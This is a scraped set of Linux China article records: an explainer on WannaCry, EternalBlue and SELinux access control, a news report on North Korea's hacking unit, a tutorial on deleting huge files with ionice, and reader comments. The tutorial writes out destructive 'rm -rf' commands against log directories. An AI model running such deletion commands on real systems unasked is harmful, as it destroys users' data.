Bidshahri 解释说：“我们的技术符合摩尔定律，正在以惊人的速度增长 —— 智能设备正在越来越多地融入我们的生活。”，他补充道：“到 2029 年，我们将会有和人类同等智慧的 AI，而到 21 世纪 40 年代，AI 将会比人类聪明无数倍。许多人预测，有一天我们会与强大的机器合并，我们自己可能会变成人工智能。”他认为在这样一个世界上那些是不可避免的，人们将会接受与完全的非生物相爱。
这听起来有点怪异，但是相比较于未来机器人将统治世界，爱上 AI 会是一个更乐观的结果。Bidshahri 说：“对 AI 进行编程，让他们能够感受到爱，这将使我们创造出更富有同情心的 AI，这可能也是避免很多人忧虑的 AI 大灾难的关键。”
这份 AI 正在入侵我们生活各领域的清单只是涉及到了我们身边的人工智能的表面。哪些 AI 创新是让你最兴奋的，或者是让你最烦恼的？大家可以在文章评论区写下你们的感受。
---
Rikki Endsley - Rikki Endsley 是开源社区 Opensource.com 的管理员。在过去，她曾做过 Red Hat 开源和标准（OSAS）团队社区传播者；自由技术记者；USENIX 协会的社区管理员；linux 权威杂志 ADMIN 和 Ubuntu User 的合作出版者，还是杂志 Sys Admin 和 UnixReview.com 的主编。在 Twitter 上关注她：@rikkiends。
（图片来源: opensource.com）
---
via: <https://opensource.com/article/17/3/5-big-ways-ai-rapidly-invading-our-lives>
作者：[Rikki Endsley](https://opensource.com/users/rikki-endsley) 译者：[zhousiyu325](https://github.com/zhousiyu325) 校对：[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
从蓝瘦“想哭”到 SELinux 看操作系统安全何在
|
东风快递
|
多年前，永恒之蓝的始作蛹者 NSA 为了防御自家系统，开发了一套安全框架，多年后这套框架被贡献给了 Linux 内核，这就是 SELinux。作为造成这次世界性灾难的幕后大 boss，NSA 为自己定制的 SELinux 又是怎样的一套防具呢？
|
/data/attachment/album/201705/23/155344ez0pteesx20c02gb.jpg.thumb.jpg
|
/data/attachment/album/201705/23/155344ez0pteesx20c02gb.jpg
| true | false | false | false |
[
"勒索",
"病毒",
"SELinux"
] |
观点
|
{
"viewnum": 9322,
"commentnum": 10,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "SELinux 不是所有知名 Linux 发行版都安装的，比如 Ubuntu 就没有。SELinux 也出现过强制访问限制被绕过的漏洞。SELinux 太复杂，一般来说用户敢改动的地方不多。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-23T17:06:17"
},
{
"postip": "115.132.93.49",
"message": "但 ubuntu 有 AppArmor",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-05-23T17:30:13"
},
{
"postip": "58.213.224.242",
"message": "看起来很牛",
"username": "二次元萌控森 [Sogou Explorer 2|Windows 7]",
"date": "2017-05-23T18:37:49"
},
{
"postip": "112.97.48.77",
"message": "哎，看到ls -Z我就晕汤！",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-23T19:09:48"
},
{
"postip": "119.6.105.160",
"message": "一切谈毒性不谈剂量的行为都是耍流氓。同样，任何谈操作系统安全不谈体系架构的行为也是耍流氓。",
"username": "fanbt [Firefox 53.0|Fedora]",
"date": "2017-05-24T09:06:27"
},
{
"postip": "119.6.105.160",
"message": "一切需要关闭SELinux才能使用的软件都是流氓软件！！！",
"username": "fanbt [Firefox 53.0|Fedora]",
"date": "2017-05-24T09:07:52"
},
{
"postip": "114.247.223.226",
"message": "审计和SELinux是独立的",
"username": "来自北京的 Firefox 38.0|GNU/Linux 用户",
"date": "2017-05-24T18:29:00"
},
{
"postip": "223.72.72.203",
"message": "但审计日志也受SELinux策略保护",
"username": "来自北京的 Firefox 45.0|Windows 10 用户",
"date": "2017-05-24T23:16:40"
},
{
"postip": "180.168.102.86",
"message": "大家都那么专业，我从人类使用角度来说点自己的看法：对于非专业型的小白用户，其实也应该知道点使用电脑方面的常识，而非是说真的像做一个傻瓜式使用者 满足自己使用就可以了，电脑是自己的，让电脑更好的为自己服务，不仅仅是了解如何操作电脑 更要知道电脑内部的概要远离，很多生活中我遇到的都是把电脑当成智能一样存在了，让用户了解电脑，这点linux 和unix 就比window做的好。防火墙 无论是图形还是命令 都能使用户更清楚自己的电脑都有那些东西存在 都在干些什么。",
"username": "hyplove [Chrome 58.0|Mac 10.12]",
"date": "2017-05-26T11:56:52"
},
{
"postip": "111.43.240.12",
"message": "“想哭”这一程序首发有大陆，官方提供汉化。这么良心的产品你们竟然只想着破解？！",
"username": "Ghjoker [Firefox 45.0|GNU/Linux]",
"date": "2017-05-30T14:31:34"
}
] |
[] |
多年前，永恒之蓝的始作蛹者 NSA 为了防御自家系统，开发了一套安全框架，多年后这套框架被贡献给了 Linux 内核，这就是 SELinux。作为造成这次世界性灾难的幕后大 boss，NSA 为自己定制的 SELinux 又是怎样的一套防具呢？
| 2017-05-23T15:53:55 | 2017-05-23T15:53:55 | 8,534 |
/article-8534-1.html
|
最近一周，来自网络的<ruby> “想哭”勒索病毒 <rp> （ </rp> <rt> Wannacry Ransomware </rt> <rp> ） </rp></ruby>在世界各地同时上演了一部绑匪大片，台词华丽，演技出色，当仁不让地新晋世界第一网红。全球各国除了默默忙于两弹一星足不出户的朝鲜外，无不为之动容。一时间，包括“想哭”病毒在内的各种病毒的各种传闻也火爆网络，我们并不准备跟风刷屏，只是打算本着实事求是的精神，科学的探讨一下如何与它们和睦相处、谈笑风生。
### “想哭”病毒的前世今生
首先，让我们先简要回顾一下主角“想哭”病毒的前世今生。
“想哭”病毒是基于网络攻击框架二次开发的结果，它利用了 NSA（美国国家安全局）的前辈们留下的非物质文化遗产：<ruby> 永恒之蓝 <rp> （ </rp> <rt> ETERNAL BLUE </rt> <rp> ） </rp></ruby> 模块，针对 Windows SMB 服务的实现漏洞植入恶意代码，再结合自己的创新：加密用户文件和显示勒索声明，一代网红勒索病毒由此诞生。从病毒本身的设计流程来看，似乎并不需要高深的编码技巧或深厚的理论根基，然而这也恰恰是这一事件中最值得我们警惕的地方：NSA 泄漏的攻击模块远不止永恒之蓝一种，借助已有攻击框架进行二次开发的难度又如此之低，所以，可以预期，一大波未知的病毒正在来袭的路上。
是不是细思极恐？所谓“知彼知己，百战不<ruby> 殆 <rp> （ </rp> <rt> die </rt> <rp> ） </rp></ruby>”，要想不 die，先要充分了解对手，所以接下来我们进一步了解一下什么是病毒？病毒是如何以危险方式危害公共安全的？又是怎样进入我们的系统的？
病毒是什么，其实是老生常谈了，经常关注医疗卫生领域的朋友都知道：
>
> 病毒由一段基因与蛋白质构成，自身不能实现新陈代谢，通过适当的途径侵入宿主体内，通过宿主细胞的代谢系统实现复制传播。
>
>
>
跑题了？好吧，不要在意这些细节，我们改几个字就能用了：
>
> 病毒由一段可执行代码与数据构成，自身不能在裸机上运行，通过适当的途径侵入宿主操作系统，通过宿主系统中的存储和网络实现复制传播。
>
>
>
Wirth 教授教导我们：
>
> 算法+数据结构=程序，
>
>
> 病毒=代码+数据=算法+数据结构=程序
>
>
>
没错，病毒就是一类特殊的计算机程序，广义上称为恶意软件。与自然界病毒的最大不同之处在于，它们不是纯天然的，而是 100% 人工打造。通常它们怀着对人类的深深的恶意来到世上，行为各不相同，有的在你的屏幕上画个圈圈诅咒你，有的会窃取你设备中的隐私照片，还有的会眨眼间转走你银行卡上的购房首付款......显然，它们的目标还是很一致的：危害人类设备，破坏世界和平。
又扯远了，我们接着来看病毒是如何入侵操作系统的。病毒的入侵无外乎两个途径：主动和被动。所谓主动是针对目标系统尝试发起扫描和攻击，一般是远程发起，当发现了自己能吃定的漏洞之后，就通过各种阴险手段（其实技术实现上大多还是很优雅的）攫取系统权限，进而将恶意代码注入宿主系统中伺机作恶，对此没什么概念的小伙伴可以自行脑补一下《异形》中的人类被寄生的过程。
病毒入侵的另一种方式，我们称之为被动方式。这种方式并不需要系统存在漏洞或缺陷，需要的是用户的经验、常识或智商存在缺陷。它们通过各种伪装诱骗用户去打开或运行自己，包括形形色色让你心动的邮件、链接、不明来源的安装程序等等，一旦获得机会运行，它们会悄无声息的在你的系统中安营扎寨、留下多道后门，然后为所欲为，这类病毒又被形象地称为（特洛伊）木马。
### 如何应对各种病毒威胁
了解了病毒的来龙去脉之后，我们就可以开始讨论如何应对各种病毒层出不穷的威胁了。
对于大多数用户，良好的使用习惯是第一位的。堡垒往往从内部被攻克，再安全的操作系统，再强大的安全机制，都难以阻止用户自我毁灭的脚步。良好的使用习惯中最重要的，是安全更新，安全更新，安全更新！为什么呢？这要先谈一下操作系统漏洞的由来。
漏洞实际是软件缺陷的一种，也就是俗称的 bug，是由于软件开发人员的疏忽而导致程序没有按照预期的方式运行。软件缺陷多种多样，有些很呆，有些很萌，也并不都会对系统安全构成威胁。那些侥幸逃脱开发和测试人员的轮番围剿，随着软件的发布散落人间的软件缺陷，一旦被黑客们发现、策反，并借助自己在系统内部的有利位置，披着合法软件的外衣，做出送人头、坑队友的恶劣行径时，就成为软件系统的公敌：漏洞。越是庞大和复杂的软件越容易产生漏洞，不幸的是操作系统就是一类极其庞大而复杂的软件系统。
虽然操作系统漏洞常常难以完全避免，然而某个漏洞一旦被发现，开发厂商都会在第一时间发布安全更新对问题进行修复。以这次勒索病毒为例，针对被利用的 SMB 服务漏洞，事实上早在一个月前微软就公布了漏洞警告和补丁，提供了安全更新，那些开启自动更新并及时修复了漏洞的用户，他们可以用省下的三个比特币吃着火锅唱着歌，完全不用担心绑匪。所以请划重点：**操作系统安全更新非常重要，不论个人用户、企业用户还是系统管理员，不论服务器，桌面还是移动终端，不论 Windows，Linux 还是 MacOS，都应该尽可能及时地从操作系统厂商处获取安全更新。**
其次，杀毒软件也可以起到一定的安全增强的作用，多数杀毒软件可以借助病毒库对已有病毒的特征进行分析比对，一旦发现用户即将运行的程序中含有病毒或恶意程序，会及时提醒用户，或者自动清除。因此，杀毒软件可以在很大程度上防御已知的、以被动方式入侵系统的病毒。
那么，积极地安全更新、安装杀毒软件就可以解决所有病毒威胁了么？
很不幸，事实并非如此。安全更新和杀毒软件之于病毒威胁正如强身健体之于疾病隐患，可以大幅降低几率，却难以完全避免。为什么？这要从<ruby> 零日 <rp> （ </rp> <rt> 0-day </rt> <rp> ） </rp></ruby>漏洞说起。
零日漏洞，听起来就很霸气的一个名字，仿佛给人一种世界末日的感觉。它并不是指具体的某个或某类漏洞，而是指被黑客发现后立刻用来发起攻击的漏洞，这些漏洞尚未公开，用户不知道，软件厂商也不了解，**应对时间为零**。所以，这类漏洞没有检测工具，没有修复方法，传统被动升级防御、病毒特征比对的方式毫无用处，一旦被用来发起攻击，普通系统是毫无招架能力的。那么有没有可以防御零日漏洞的安全的操作系统呢？
### 安全的操作系统与 SELinux
一提到安全的操作系统，总会涌现出很多真知灼见，最脍炙人口的莫过于：
>
> “所有操作系统都有漏洞，所以没有绝对安全的操作系统；所以 Windows 也好，Linux 也好，MacOS 也好，都一样不安全。”
>
>
>
说的好有道理，我竟无言以对，因为前半句就是对本文前半部分的总结，理论正确，逻辑自洽，没什么可黑的。后半句的逻辑却似乎有点烧脑，如果它成立的话，我们不妨试着推广一下，比如：
>
> “任何物质都是有毒性的，没有什么是绝对无毒的。砒霜吃了会中毒，水喝多了也会中毒，所以砒霜和水一样不安全。”
>
>
>
**毒理学有句名言：一切谈毒性不谈剂量的行为都是耍流氓。同样，任何谈操作系统安全不谈体系架构的行为也是耍流氓。**所以面对这种耍流氓的行为，接下来我们要严肃的谈一谈操作系统的安全体系架构。
多年前，永恒之蓝的始作蛹者 NSA 为了防御自家系统，开发了一套安全框架，多年后这套框架被贡献给了 Linux 内核，这就是 SELinux。作为造成这次世界性灾难的幕后大 boss，NSA 为自己定制的 SELinux 又是怎样的一套防具呢？
SELinux 全称 Security Enhanced Linux ，是针对 Linux 的全面安全增强，相比一般的发现漏洞-修复漏洞这种被动挨打的模式，SELinux 具备主动防御能力，可以抵御包括零日漏洞在内的多种攻击。
那么 SELinux 是如何做到的呢？
访问控制是操作系统安全体系中的最核心最关键的机制，它决定了系统中什么样的资源可以被哪些用户以什么样的方式来访问，也就是说普通用户能做什么，入侵者能做什么，应用软件能做什么，恶意软件能做什么，都是访问控制系统决定的。SELinux 的核心访问机制是<ruby> 强制访问控制 <rp> （ </rp> <rt> Mandatory Access Control </rt> <rp> ） </rp></ruby>，简称 MAC，SELinux 的安全特性是建立在 MAC 基础之上的。那么 MAC 何德何能，堪负如此重任？
说到 MAC 强制访问控制就不得不说它的前辈<ruby> 自主访问控制 <rp> （ </rp> <rt> Discretionary Access Control </rt> <rp> ） </rp></ruby>，简称 DAC。传统的操作系统，Windows、MacOS、以及包括早期 Linux 在内的各种Unix的系统权限管理都是采用的自主访问控制，自主访问控制将用户（或用户组）简化为一个标识，系统中的资源（比如文件）都会带上用户标识和对应的访问权限信息，通过这种方式赋予不同用户不同的访问权限，操作系统通过对用户标识的比对和权限信息决定一个用户是否能访问某个资源。打个比方，你认为你家里的东西是只属于你的，在 DAC 看来，只要能进屋的人都对这个屋子里的东西拥有权限，那么你自己开门进屋睡觉也好，小偷撬门进去拿走金银细软也好，都是合法的。
在操作系统中也是如此，几乎所有操作系统中都有一个身影，叫管理员，Administrator 也好，root 也好，都是一群在系统中权力无限大，对任何资源都有完全访问权限的家伙。多数系统服务是以管理员权限运行的，如果它们存在漏洞，被劫持去做一些它们本不该做的事情的时候，DAC 是不会阻拦的，因为它无法区分某个动作是程序正常行为还是恶意行为。在它眼里，身份就是权力的象征，只要认可了你的管理员身份，你说什么都是对的，你做什么都是合法的。
那么 MAC 机制又是怎样的呢？与 DAC 中的混沌不同，MAC 是一个充满秩序的世界，一个一举一动要提出申请的世界。在 MAC 中，一切访问计划都要事先写入安全策略，没有明确的策略允许的任何访问都会被禁止。在上个例子中，作为家中的主人，你需要能够在家睡觉，也是需要明确制定计划的，你需要添加的安全策略看起来是这样的：
* 定义资源类型： 床
* 定义安全域： 休息
* 定义角色： 主人
* 访问规则： 允许 主人 休息时 使用床
如果系统对于你家中的资源访问只添加了这一条安全策略，那么你仍然可以安心的在家睡觉，小偷无论用何种方式进入你家都将寸步难行，接触任何东西的行为都会被禁止，并且一切被禁止的行为尝试都将被另一套完善的监控系统：审计日志记录在案。
明白了这个例子，回到操作系统中我们就很容易看懂 MAC 是如何防范系统带来的安全威胁的：假设我们有一个存在缓冲区溢出漏洞的文件共享服务，与多数系统服务一样使用管理员权限运行。攻击者通过精心构建一个特殊的数据包发送给服务器，使存在漏洞服务器正常的执行流程被劫持，转而执行修改管理员密码的操作。在 DAC 控制下的传统操作系统中，一旦攻击生效，那么管理员密码会被这个平时八竿子打不着的文件服务器修改，攻击者随后可以很容易的登录进入系统。而在 MAC 系统中，文件服务器的可访问的文件是严格受限的，安全策略类似于：
* 允许 系统管理员角色 运行文件服务器 该进程允许访问被共享文件。
安全策略的定义了该服务可以访问的所有资源，攻击者在攻击了文件服务器后，希望修改管理员密码，它需要访问的是 SAM 或 passwd 等的密码管理文件，由于文件服务器进程仅被策略仅允许访问需要被共享的文件，因此对密码管理文件的操作将被拒绝，攻击失效。这种情况下最坏的情形是，攻击者可能非法访问共享文件，因为它仍在安全策略允许范围内。尽管如此，一个系统级的安全漏洞对整个操作系统的影响被限制在了非常小的范围内。
通过细粒度的划分访问权限，将所有应用和服务的访问限制在最小范围内，这就是强制访问控制保护系统不受已知及未知漏洞攻击的原理。
其实 MAC 和 DAC 并不是水火不容的，在包括 SELinux 在内的多数安全框架中，它们是共同生效的，所有的资源（或者准确的说叫客体）访问请求首先要经过 DAC 权限判定，验证通过之后再进一步进行 MAC 的安全策略判定，只有同时符合自主访问控制和强制访问控制规则后才能获得访问权限。
SELinux 中，有三大类 MAC 策略模型，分别是 TE（类型增强），RBAC（角色访问控制）以及 MLS（多级别安全)，每一类模型都针对系统已有服务和应用提供了大量安全策略。一个使用了 SELinux 的典型的服务器操作系统环境，内核中会包含 10 万条以上的安全策略。
### 计算机信息系统的安全等级
了解了 SELinux 及其强制访问框架后，看到攻防两端都造诣深厚的 NSA，你可能会惊叹于矛尖盾厚的美国在信息安全领域的强大的实力。然而我国在这个陆上有东风，海上有航母，天空有北斗的时代，在信息安全这样重要的领域当然不会碌碌无为。我国很早就对信息安全领域展开了全面的研究，公安部对信息安全的各个领域提出了一些列标准，最早在 GB 17859-1999 标准中就根据需求将计算机信息系统的安全级别由低到高，划分为 1-5 共五个等级。在 GB/T 20272-2006 中更进一步对操作系统安全技术提出了具体要求。
从国标安全第三级开始要求操作系统提供强制访问控制，除了要实现 SELinux 中的各类安全模型架构外，还根据最小特权原则开创性的引入三权分立的概念，将普通操作系统中权限不受控制的管理员根据职责分解为系统管理员，安全管理员，审计管理员三个角色。
系统管理员负责“行政”体系，也就是系统中的配置管理，类似网络配置、服务启停（安全服务除外）、设备管理等等；安全管理员负责“立法”，负责安全策略制定、加载以及安全服务的开启；审计管理员的职责类似“司法”，制定违规访问的记录，安全服务的关闭。三个角色的权限之间互相制约，从而避免了恶意入侵者通过获取管理员权限对操作系统的全面控制。同时标准还对用户数据的私密性、完整性提出了严格的保护要求，要求操作系统通过安全标签保障用户数据不被非法读取和篡改。
国标安全四级除了在访问控制和数据保护上提出更为严格要求之外，还要求设计者对操作系统的安全策略模型、安全功能模块进行形式化验证，并进行隐蔽信道分析，对系统抵御攻击能力进行评估，也是目前已有操作系统能达到的最高安全等级。目前普华、凝思等国产操作系统厂商已经开发出了符合国标安全四级的安全操作系统，提供了远高于普通 SELinux 的底层安全保护。
### 结语
信息安全是全方位的，尽管病毒与恶意入侵并非只针对操作系统，单一从操作系统层面无法解决所有的安全问题，然而作为所有上层应用的最底层软件支撑，操作系统却在最终执行层面承载着一切上层软件的安全机制，脱离操作系统构建的安全体系，如同沙滩上的城堡，即使再坚固也将最终失去根基。
|
||||
朝鲜 180 局的网络战部门让西方国家忧虑
|
Abc News
|
http://www.abc.net.au/news/2017-05-21/north-koreas-unit-180-cyber-warfare-cell-hacking/8545106
|
据脱北者、官方和网络安全专家的消息，朝鲜的情报机关有一个叫做 180 局的特殊部门， 这个部门已经发起过多起胆大且成功的网络战。
|
/data/attachment/album/201705/23/204904prckpnnpyickxyrx.jpg.thumb.jpg
|
/data/attachment/album/201705/23/204904prckpnnpyickxyrx.jpg
| true | false | true |
hwlog
| false |
[
"黑客",
"朝鲜"
] |
观点
|
{
"viewnum": 5544,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "189.4.193.207",
"message": "just want to change people's focus, it's a typical trick of the media!",
"username": "来自巴西的 Vivaldi 1.9|GNU/Linux 用户",
"date": "2017-05-24T20:02:55"
},
{
"postip": "218.75.124.147",
"message": "Are you 中国人?",
"username": "来自浙江杭州的 Chrome 58.0|Windows 8.1 用户",
"date": "2017-05-25T10:25:56"
},
{
"postip": "220.166.34.248",
"message": "棒子国这方面的新闻，历史证明就没有几个是真的～～～",
"username": "来自四川绵阳的 Chrome 56.0|GNU/Linux 用户",
"date": "2017-05-25T22:41:25"
},
{
"postip": "111.43.240.12",
"message": "外国人不是习惯直接用wanna吗？",
"username": "Ghjoker [Firefox 45.0|GNU/Linux]",
"date": "2017-05-30T14:34:24"
}
] |
[] |
据脱北者、官方和网络安全专家的消息，朝鲜的情报机关有一个叫做 180 局的特殊部门， 这个部门已经发起过多起胆大且成功的网络战。
| 2017-05-24T08:43:00 | 2017-05-24T08:43:00 | 8,536 |
/article-8536-1.html
|
*本文译自澳大利亚广播公司相关文章，不代表本站及译者、编辑的态度。*
据脱北者、官方和网络安全专家的消息，朝鲜的情报机关有一个叫做 180 局的特殊部门， 这个部门已经发起过多起胆大且成功的网络战。
近几年，朝鲜被指责在美国、韩国，及其周边的几个国家对金融网络发起多起在线袭击。
网络安全研究人员称他们找到了这个月全球性感染了 150 多个国家 30 多万台计算机的[“想哭”勒索病毒和朝鲜网络战有关联的技术证据](http://www.abc.net.au/news/2017-05-16/researchers-link-wannacry-to-north-korea/8531110)。
平壤称该指控是“荒谬的”。
对朝鲜的关键指控是指朝鲜与一个叫做<ruby> 拉撒路 <rp> （ </rp> <rt> Lazarus </rt> <rp> ） </rp></ruby>的黑客组织有联系，这个组织是在去年在孟加拉国中央银行网络抢劫了 8100 万美元，并在 2014 年攻击了索尼的好莱坞工作室的网络。
美国政府指责朝鲜对索尼公司的黑客袭击，同时美国政府对平壤在孟加拉国银行的盗窃行为提起公诉并要求立案。
由于没有确凿的证据、没有犯罪指控并不能够立案。朝鲜之后也否认了索尼公司和该银行的袭击与其有关。
朝鲜是世界上最封闭的国家之一，它秘密行动的一些细节很难获得。
但研究这个封闭国家的专家和流落到韩国和一些西方国家的的脱北者已经给出了或多或少的提示。
### 黑客们喜欢以雇员身份来作为掩护
金恒光，一位朝鲜前计算机教授，2004 叛逃到韩国，他仍然有着韩国内部的消息来源，他说平壤的网络战目的在于通过侦察总局（RGB）下属的一个叫做 180 局来筹集资金，这个局主要是负责海外的情报机构。
金教授称，“180 局负责入侵金融机构通过漏洞从银行账户提取资金”。
他之前也说过，他以前的一些学生已经加入了朝鲜的网络战略司令部，即朝鲜的网络部队。
>
> “黑客们到海外寻找比朝鲜更好的互联网服务的地方，以免留下痕迹，” 金教授补充说。
>
>
>
他说他们经常用贸易公司、朝鲜的海外分公司和在中国和东南亚合资企业的雇员来作为掩护。
位于华盛顿的战略与国际研究中心的一位名为 James Lewis 的朝鲜专家称，平壤首先把黑客攻击作为间谍活动的工具，然后对韩国和美国的目的进行政治干扰。
他说，“索尼公司事件之后，他们改变方法，通过用黑客来支持犯罪活动来形成国内坚挺的货币经济政策。”
“目前为止，网上毒品，假冒伪劣，走私，都是他们惯用的伎俩”。
[**VIDEO：** 你遇到过勒索病毒吗? (ABC News)](http://www.abc.net.au/news/2017-05-15/have-you-been-hit-by-ransomware/8527854)
### 韩国声称拥有“大量的证据”
美国国防部称在去年提交给国会的一个报告中显示，朝鲜将网络视为有成本效益的、不对称的、可否认的工具，它能够应付来自报复性袭击的很小风险，因为它的“网络”大部分是和因特网分离的。
>
> 报告中说，“它可能从第三方国家使用互联网基础设施。”
>
>
>
韩国政府称，他们拥有朝鲜网络战行动的大量证据。
“朝鲜进行网络战通过第三方国家来掩护网络袭击的来源，并且使用他们的信息和通讯技术设施”，韩国外交部副部长安总基在书面评论中告诉路透社。
除了孟加拉银行抢劫案，他说怀疑平壤也与菲律宾、越南和波兰的银行袭击有关。
去年六月，警察称朝鲜袭击了 160 个韩国公司和政府机构，入侵了大约 14 万台计算机，暗中在它的对手的计算机中植入恶意代码，为进行大规模网络攻击的长期计划而准备。
朝鲜也被怀疑在 2014 年对韩国核反应堆操作系统进行阶段性网络攻击，尽管朝鲜否认与其无关。
根据在一个韩国首尔的杀毒软件厂商 hauri 的高级安全研究员 Simon Choi 的说法，网络袭击是来自于朝鲜在中国的一个基地。
Choi 先生，是一位对朝鲜的黑客能力有广泛的研究的人，他称，“他们在那里行动，不管他们究竟在做什么，他们拥有中国的 IP 地址”。
[题图：脱北者说， 平壤的网络战攻击目的旨在为一个叫做“180局”的部门来筹集资金。(路透社：Damir Sagolj, file)](http://www.abc.net.au/news/2017-05-21/military-trucks-trhough-pyongyang/8545134)
---
via: <http://www.abc.net.au/news/2017-05-21/north-koreas-unit-180-cyber-warfare-cell-hacking/8545106>
作者：[www.abc.net.au](http://www.abc.net.au) 译者：[hwlog](https://github.com/hwlog) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Linux 中删除超大的（100-200GB）文件
|
Aaron Kili
|
https://www.tecmint.com/delete-huge-files-in-linux/
|
如果我们想要删除超大的文件/文件夹，比如大概 100-200GB，在删除文件（I/O 调度）所花费的时间以及 RAM 占用量方面，就没有你想的那么简单。
|
/data/attachment/album/201705/24/064946fqc1vu7oxi1bixos.jpg.thumb.jpg
|
/data/attachment/album/201705/24/064946fqc1vu7oxi1bixos.jpg
| true | false | true |
geekpi
| false |
[
"删除"
] |
技术
|
{
"viewnum": 10522,
"commentnum": 5,
"favtimes": 5,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "这个也应该要看具体文件系统吧？",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-24T10:43:01"
},
{
"postip": "218.18.220.175",
"message": "感谢分享",
"username": "hello_linux [Chrome 51.0|Windows 7]",
"date": "2017-05-24T21:17:35"
},
{
"postip": "120.85.77.21",
"message": "创建一个空文件，再用mv覆盖大文件。试过删除差不多二百G日志文件，二、三秒完成，最后重启一下程序~",
"username": "来自广东广州的 Chrome Mobile 37.0|Android 7.0 用户",
"date": "2017-05-25T01:25:02"
},
{
"postip": "117.82.7.164",
"message": "好，windows 的删除真的sb是的，拖慢，就应该这种技术嘛",
"username": "来自江苏苏州的 Chrome 58.0|Windows 10 用户",
"date": "2017-05-25T07:08:27"
},
{
"postip": "118.112.153.53",
"message": "假如大文件叫做bigfile可以直接用如下命令先让其变小文件在删除啊，而且超快:<br />\r\necho "" > bigfile<br />\r\nrm bigfile",
"username": "来自四川成都的 Mobile Safari 10.0|iOS 10.3 用户",
"date": "2017-05-25T23:14:50"
}
] |
[] |
如果我们想要删除超大的文件/文件夹，比如大概 100-200GB，在删除文件（I/O 调度）所花费的时间以及 RAM 占用量方面，就没有你想的那么简单。
| 2017-05-24T09:41:00 | 2017-05-24T09:41:00 | 8,537 |
/article-8537-1.html
|
通常，要[在 Linux 终端删除一个文件](/article-8123-1.html)，我们使用 rm 命令（删除文件）、shred 命令（安全删除文件）、wipe 命令（安全擦除文件）或者 secure-deletion 工具包（一个安全文件删除工具集合）。
我们可以使用上述任意的工具来处理相对较小的文件。如果我们想要删除超大的文件/文件夹，比如大概 100-200GB，在删除文件（I/O 调度）所花费的时间以及 RAM 占用量方面，就没有你想的那么简单。
在本教程中，我们会解释如何在 Linux 中有效率并可靠地删除大文件/文件夹。
**建议阅读：** [5 个在 Linux 中清空或者删除大文件的方法](/article-8024-1.html)
我们的主要目标是使用一种不会在删除大文件时拖慢系统的技术，合理地占用 I/O。我们可以用 ionice 命令实现这个目标。
### 在 Linux 中使用 ionice 命令删除超大（200GB）文件
ionice 是一个可以对另一个程序设置或获取 I/O 调度级别和优先级的有用程序。如果没有给出参数或者只有 `-p` 参数，那么 ionice 将会查询该进程的当前的 I/O 调度级别以及优先级。
如果我们给出命令名称，如 `rm` 命令，它将使用给定的参数运行此命令。要获取或设置调度参数，请指定[进程的 PID]，如下：
```
# ionice -p PID
```
要指定名字或者调度的数字，使用（0 表示无、1 表示实时、2 表示尽力、3 表示空闲）下面的命令。
以下命令表示 `rm` 会属于空闲 I/O 级别，并且只在其他进程不使用的时候使用 I/O：
```
---- Deleting Huge Files in Linux -----
# ionice -c 3 rm /var/logs/syslog
# ionice -c 3 rm -rf /var/log/apache
```
如果系统中没有很多空闲时间，那么我们希望使用尽力调度级别，并且使用低优先级：
```
# ionice -c 2 -n 6 rm /var/logs/syslog
# ionice -c 2 -n 6 rm -rf /var/log/apache
```
注意：要使用安全的方法删除大文件，我们可以使用先前提到的 `shred`、`wipe` 以及 secure-deletion 工具包中的不同工具，而不是 `rm` 命令。
**建议阅读：**[3 个在 Linux 中永久/安全删除文件/文件夹的方法](/article-8123-1.html)
要获取更多信息，查阅 `ionice` 的手册页：
```
# man ionice
```
就是这样了！你脑海里还有其他的方法么？在评论栏中与我们分享。
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <https://www.tecmint.com/delete-huge-files-in-linux/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
六月北京，谁是你最想见的开源领袖？
|
Wxy
|
传说中的 LC3（LinuxCon + ContainerCon + CloudOpen）大会，将于今年 6 月 19 至 20 日在北京上演中国首秀。
Linux 中国（https://linux.cn/）作为本次 LC3 大会的推广合作伙伴，将全程跟踪报道本次 LC3 大会的最新消息和花絮动态。
|
/data/attachment/album/201705/24/174829xr868j5s8p8rpz8x.jpg.thumb.jpg
|
/data/attachment/album/201705/24/174829xr868j5s8p8rpz8x.jpg
| true | false | false | false |
[
"LinuxCon"
] |
新闻
|
{
"viewnum": 8926,
"commentnum": 4,
"favtimes": 0,
"sharetimes": 1,
"likes": 0
}
|
[
{
"postip": "101.231.96.6",
"message": "弱弱问下，苍老师之类的，算是开源吗",
"username": "hsyan2008 [Chrome 58.0|GNU/Linux]",
"date": "2017-05-25T13:09:17"
},
{
"postip": "202.107.194.180",
"message": "波多老师表示不服",
"username": "来自浙江杭州的 Firefox 53.0|Windows 10 用户",
"date": "2017-05-26T08:23:58"
},
{
"postip": "112.4.54.248",
"message": "最希望见到强硬派LT和话痨Stallman。",
"username": "来自江苏南京的 Chrome 47.0|Windows 10 用户",
"date": "2017-05-27T18:19:25"
},
{
"postip": "106.38.39.210",
"message": "大神云集，有点小激动啊",
"username": "longtou [Chrome 58.0|Windows 10]",
"date": "2017-06-06T17:31:12"
}
] |
[] |
传说中的 LC3（LinuxCon + ContainerCon + CloudOpen）大会，将于今年 6 月 19 至 20 日在北京上演中国首秀。
Linux 中国（https://linux.cn/）作为本次 LC3 大会的推广合作伙伴，将全程跟踪报道本次 LC3 大会的最新消息和花絮动态。
